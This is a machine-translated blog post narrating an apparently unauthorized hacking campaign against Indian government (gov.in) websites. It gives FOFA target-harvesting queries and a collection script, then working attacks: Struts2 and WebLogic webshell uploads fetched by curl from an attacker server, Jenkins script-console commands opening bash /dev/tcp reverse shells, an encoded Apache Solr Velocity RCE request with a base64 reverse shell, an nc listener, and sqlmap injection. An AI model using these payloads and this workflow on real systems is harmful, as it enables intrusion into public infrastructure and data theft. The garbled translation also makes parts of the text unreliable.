0x01, etapa de recopilación de información
Nota: este proceso de recopilación de información utiliza principalmente la plataforma de detección de red FOFA https://fofa.info/=
Al comienzo de la recopilación, estaba un poco confundido y realicé directamente una recopilación de nombres de dominio "gov.in" a gran escala.
host="gov.in" && country="IN"
Jaja 68,465 piezas de datos, despegó después de pensarlo, pero hay un problema, cómo descargar al local, la API de usuarios avanzados solo puede llamar y descargar 1w piezas de datos, piénselo
Intente escribir un guión para ver:
import pythonfofa
import csv
filename = "IN_domain.csv"
email = 'u_mail'
key = 'u_API_KEY'
search = pythonfofa.Client(email, key)
get_data = search.search('host="gov.in" && country="IN"', size=70000)
# print(get_data)
requests = [result[1] for result in get_data['results']]
print(requests)
# 打开CSV文件并设置写入模式
with open(filename, "w", newline="") as file:
writer = csv.writer(file)
# 遍历请求列表
for request in requests:
# 在控制台打印域名
print(request)
# 检测域名是否包含"http://"
if not request.startswith("http://") and not request.startswith("https://"):
# 如果不包含,则在域名前添加"http://"
request = "http://" + request
# 在域名后添加斜杠"/"
request += "/"
# 将请求和值"1"作为一行写入CSV文件
writer.writerow([request, 1])
Sí, no debe ejecutarse, establecer un punto de interrupción y depurar para ver
Es muy bueno, es cierto que no puede hacer elementos de 7w directamente, cambiar su idea de colección, recopilar marcos principales y realizar los escaneos faltantes correspondientes
Declaración de la regla FOFA para vulnerabilidades relacionadas en los marcos principales:
fastjson
app="Fastjson" && host="in" && country="IN" && status_code="200" && (port="80" || port="443")
Puntales2
app="Struts" && host="in" && country="IN" && status_code="200" && (port="80" || port="443")
Log4j2
(app="Log4j2" && host="in" && country="IN" && status_code="200" && (port="80" || port="443"))
Otros son similares, solo sigue la pintura de calabaza.
El sitio de destino está casi recopilado y es la etapa de detección de vulnerabilidades.
Ayuda a estudiar ciberseguridad, obtén un conjunto completo de información S letter gratis:
① Mapa mental de la ruta de crecimiento del aprendizaje de ciberseguridad
② Más de 60 kits de herramientas de ciberseguridad clásicas
③ Más de 100 informes de análisis SRC
④ Más de 150 libros electrónicos de tecnología práctica de defensa y ataque de ciberseguridad
⑤ Lo más Guía de examen de certificación CISSP autorizada + Banco de preguntas
⑥ Más de 1800 páginas del Manual de habilidades prácticas de CTF
⑦ La última colección de preguntas de entrevistas de empresas de seguridad de redes (incluidas las respuestas)
⑧ Guía de pruebas de seguridad de clientes de aplicaciones (Android+IOS)
0x02, detección y utilización de vulnerabilidades
Puntales2:
Elimine directamente un AWVS de escaneo perdido a gran escala para detectar lotes de vulnerabilidades:
Los datos despegaron directamente el primer día, porque el objetivo esta vez esobtener conchaIgnore directamente las advertencias de vulnerabilidades de riesgo medio y bajo, y vea las vulnerabilidades de alto riesgo:
buen grupoPuntales2Vulnerabilidades, vaya directamente a la herramienta:
Obtenga un RCE (vulnerabilidad de ejecución de comandos remotos), escritura remotacaparazón, primero use la herramienta para generar unCáscara Antsword (espada hormiga) en formato jsp
Coloque el shell en un servidor de red pública y luego ejecute el comando para ver la ruta web:/var/tomcat9/pmrportal/ROOT/
ejecución directa
curl -o /var/tomcat9/pmrportal/ROOT/shell.jsp http://u_ip/antsword.jsp
Luego se puede conectar la herramienta webshell Antsword:
Todavía hay varias vulnerabilidades del S2-045 que han sido expuestas. El método getshell es el mismo que el anterior, y no lo describiré en detalle ____________________________________.
Weblogic:
Awvs muy útil, inyecta directamente el caballo de memoria en la herramienta:
Ice Scorpion se conecta a webshell:
Hay varias otras vulnerabilidades del mismo tipo, y el método de getshell es el mismo, por lo que no las describiré una por una.》》
(PD: en este momento, ya es un poco débil y no tiene sentido probar manualmente la carga)
Jenkins:
Cuando otros marcos no lograron ganar nada en el medio, fui a explorar el océano de conocimiento y vi una vulnerabilidad de marco ( Jenkins ) con una gran cantidad de + RCE no autorizados. Sin más preámbulos, vaya directamente a FOFA:
(app="JENKINS" && title=="Dashboard [Jenkins]" && country="IN" && status_code="200") && (port="80" || port="443")
Mirando los 86 activos, hay dramas, y el número no es mucho Prueba de mano directa:
Hay un acceso no autorizado, visite el administrador --> página de secuencias de comandos y realice una prueba de ejecución de comandos:
println "ls -al".execute().text
Hay ejecución de comando, intente invertir el shell:
println "bash -i >& /dev/tcp/ip/port 0<&1".execute().text
El servidor que recibe el shell abre el puerto escuchando:
Ejecutar una orden
Se encontró que ningún shell se recuperó y supuso que el shell inverso no se podía ejecutar en el lado web, por lo que el comando de shell inverso se escribió en el archivo .sh y luego se ejecutó para realizar la operación de shell inverso:
Escriba lo siguiente en el archivo sh:
bash -i >& /dev/tcp/ip/port 0<&1
Guárdelo en un puerto web abierto, ejecute el siguiente comando curl en el servicio jenkins para descargar de forma remota el archivo sh:
println "curl - o /tmp/jenkins.sh http://u_ip:port/jenkins.sh".execute().text
Compruebe si el archivo .sh se obtiene correctamente:
println "ls -al /tmp".execute().text
Obtenga el archivo .sh con éxito, ejecute el archivo y rebote el shell:
Activar seguimiento:
Ejecute el comando para iniciar el archivo .sh:
println "bash /tmp/jenkins.sh".execute().text
Supervisó con éxito el caparazón que se acercó y ganó otro. Otros no existían sin autorización, por lo que no se hizo ningún intento.
Apache-Solr
No tengo nada que hacer, abrí la biblioteca y leí algunas recurrencias de RCE, y por capricho, abrí FOFA:
country="IN" && app="Apache-Solr" && status_code="200" && (port="443" || port="80")
Los datos no son grandes y, luego, probados a mano, obtuvieron tres no autorizados (no es necesario iniciar sesión):
autorizado:
no autorizado:
Después de obtener la autorización no autorizada, realice la detección de CVE:
visitar /solr/admin/cores/
, obtenername => music
Luego empalme la ruta /solr/music/config/
para ver la información de configuración del usuario:
Ambos true
, puede usar directamente la carga útil divulgada en la red pública para realizar RCE,
GET /solr/music/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%22whoami%22))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Prueba si está fuera de la red:
Modifique el comando de ejecución para
curl%20xtolsc.dnslog.cn
Puede salir de la red y rebotar directamente el caparazón:
GET /solr/music/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%22bash%20-c%20%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2xxxxxx8xMDEuNDMuMTM5LjI0My81MDAwIDA%2BJjE%3D%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D%22))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
Host: ip
accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
VPS permite el monitoreo de puertos:nc -lvvnp 5000
Escuché el shell que apareció, está bien, gané otro, con privilegios de root.
Otros errores encontrados
XSS reflejado
No hay dificultad en el proceso de prueba específico, no es necesario omitir la lista negra, declaración de prueba
<script>alert(1)</script>
inyección SQL
No existe una prueba específica para este tipo, y después de encontrar el punto de inyección, vaya directamente a SQLmap para escanear:
sqlmap https://******.gov.in/****/Validate.jsp --data "[email protected]&password=123456" --random-agent -t 10 -p password --proxy=http://127.0.0.1:7890 --dbms=mysql
También se han encontrado otras vulnerabilidades, pero no son el foco de esta infiltración, por lo que no hay foco para profundizar.
Resumen de penetración
Esta vez el período de prueba es largo y los objetivos de prueba están expuestos a muchos puntos, es una práctica de infiltración muy interesante, es una pena que no podamos dedicarnos a ella por otras cosas en la etapa posterior.